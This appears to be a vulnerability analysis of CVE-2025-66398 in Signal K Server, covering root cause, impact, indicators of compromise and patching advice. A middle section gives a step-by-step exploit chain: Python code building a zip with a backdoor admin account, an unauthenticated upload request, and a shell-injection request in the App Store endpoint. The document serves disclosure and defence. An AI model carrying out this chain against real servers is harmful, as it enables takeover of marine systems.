CVE-2025-66398: 
JavaScript vulnerability analysis and mitigation

CVE-2025-66398 is an unauthenticated state pollution vulnerability in Signal K Server (an open-source marine data hub application) that leads to Remote Code Execution (RCE) and account takeover. It affects all versions of signalk-server prior to 2.19.0 (npm package). The vulnerability was published on January 1, 2026, with a patch released the same day in version 2.19.0. The GitHub Advisory Database rates it Critical with a CVSS v3.1 score of 9.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H), while NVD records a base score of 8.8 (Github Advisory, SignalK Advisory).

The root cause is the use of a module-level global variable restoreFilePath in src/serverroutes.ts that is shared across all requests (CWE-913: Improper Control of Dynamically-Managed Code Resources). The /skServer/validateBackup endpoint, which lacks any authentication middleware, accepts a file upload and sets this global variable to the uploaded file's temporary path — allowing any unauthenticated attacker to control it. When an administrator subsequently triggers the /skServer/restore endpoint, it uses the attacker-controlled restoreFilePath to extract a zip archive, enabling overwrite of critical configuration files such as security.json and package.json. The full RCE chain then leverages a secondary OS command injection flaw (CWE-78) in the App Store endpoint (/skServer/appstore/install/<package>/<version>) where the version parameter is passed unsanitized to an npm install shell command (Github Advisory, SignalK Advisory).

Successful exploitation allows an unauthenticated attacker to achieve full account takeover by overwriting security.json to inject a backdoor administrator account, and subsequently execute arbitrary OS commands on the server via the App Store command injection endpoint. This results in complete compromise of confidentiality, integrity, and availability of the Signal K Server instance and any connected marine systems or data it manages. The scope change (S:C in CVSS) indicates that the impact extends beyond the vulnerable component itself, potentially affecting the broader vessel network environment (Github Advisory).

A proof-of-concept (PoC) Python exploit script is publicly available on GitHub at https://github.com/showy-headteacher114/cve-2025-66398 and a second PoC at https://github.com/joshuavanderpoll/cve-2025-66398, both demonstrating the full exploit chain (Github Advisory). The vulnerability has been indexed by Sploitus and detected by Qualys scanners. Exploitation requires user interaction (an administrator performing a restore action), but no authentication is needed for the initial state pollution step. The EPSS score is approximately 0.139% (34th percentile), and no CISA KEV catalog listing has been identified at this time. No specific threat actor attribution has been reported.

1. Reconnaissance: Identify internet-facing Signal K Server instances (default port 3000) using tools like Shodan or Censys, targeting versions prior to 2.19.0.
2. Craft malicious backup zip: Create a zip archive containing a malicious security.json (with a backdoor admin user) and a settings.json enabling token-based security:

import zipfile, io, json
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as z:
    z.writestr('security.json', json.dumps({'users': [{'username': 'hacker', 'password': 'hacked1234', 'permissions': 'admin'}]}))
    z.writestr('settings.json', json.dumps({'security': {'strategy': './tokensecurity'}}))
zip_buffer.seek(0)

3. Pollute server state (unauthenticated): POST the malicious zip to the unprotected /skServer/validateBackup endpoint, causing the server to set restoreFilePath to the attacker-controlled temporary directory:

POST /skServer/validateBackup
Content-Type: multipart/form-data
[file=malicious.zip]

4. Trigger restore hijacking: POST to /skServer/restore (or wait for an administrator to initiate a restore) to extract the malicious zip into the server's configuration directory, overwriting security.json and settings.json.
5. Restart and authenticate: After the server restarts (or is restarted), log in using the backdoor admin credentials via POST /signalk/v1/auth/login to obtain a JWT token.
6. Execute RCE via command injection: Use the obtained token to call the App Store install endpoint with an injected OS command in the version parameter:

POST /skServer/appstore/install/@signalk/freeboard-sk/1.0.0 & <command> &
Authorization: Bearer <token>

This executes arbitrary system commands as the Signal K server process user (Github Advisory, SignalK Advisory).

• Network: Unexpected unauthenticated HTTP POST requests to /skServer/validateBackup from external or unknown IP addresses; POST requests to /skServer/restore not initiated by a known administrator session; unusual outbound connections from the Signal K server process.
• File System: Unexpected modification timestamps on security.json or settings.json in the Signal K configuration directory; presence of unknown files (e.g., rce_proof.txt) in the server root or working directory; new or modified zip archives in the server's temporary directory (/tmp/ or OS equivalent).
• Logs: Signal K access logs showing POST requests to /skServer/validateBackup without a valid session cookie or auth header; log entries for /skServer/restore triggered outside of normal administrative activity; npm install log entries with unusual version strings containing shell metacharacters (&, |, ;).
• Process: Unexpected child processes spawned by the Signal K Node.js process (e.g., sh, cmd.exe, bash, curl, wget); new administrator accounts appearing in security.json not created through normal admin UI (Github Advisory).

Upgrade Signal K Server to version 2.19.0 or later immediately, as this release contains the security fix (SignalK Release). The release notes explicitly flag this as an important security update and recommend immediate patching for any internet-facing deployments. As a temporary workaround until patching is possible, restrict network access to the /skServer/validateBackup endpoint via firewall rules or reverse proxy ACLs, and monitor for unauthorized POST requests to that endpoint. After patching, verify the integrity of security.json and package.json to ensure they have not been tampered with (Github Advisory).

The vulnerability was covered by The Hacker Wire shortly after disclosure, with social media posts on Mastodon and Bluesky highlighting the unauthenticated RCE risk (The Hacker Wire). It was also included in The Hacker News' weekly recap covering AI automation exploits and telecom espionage for the week of January 5, 2026. CISA referenced the vulnerability in its weekly vulnerability bulletin (SB26-005). The Signal K maintainer (tkurki) published the advisory and patch on the same day, with the release notes explicitly urging immediate updates for internet-facing servers (SignalK Release).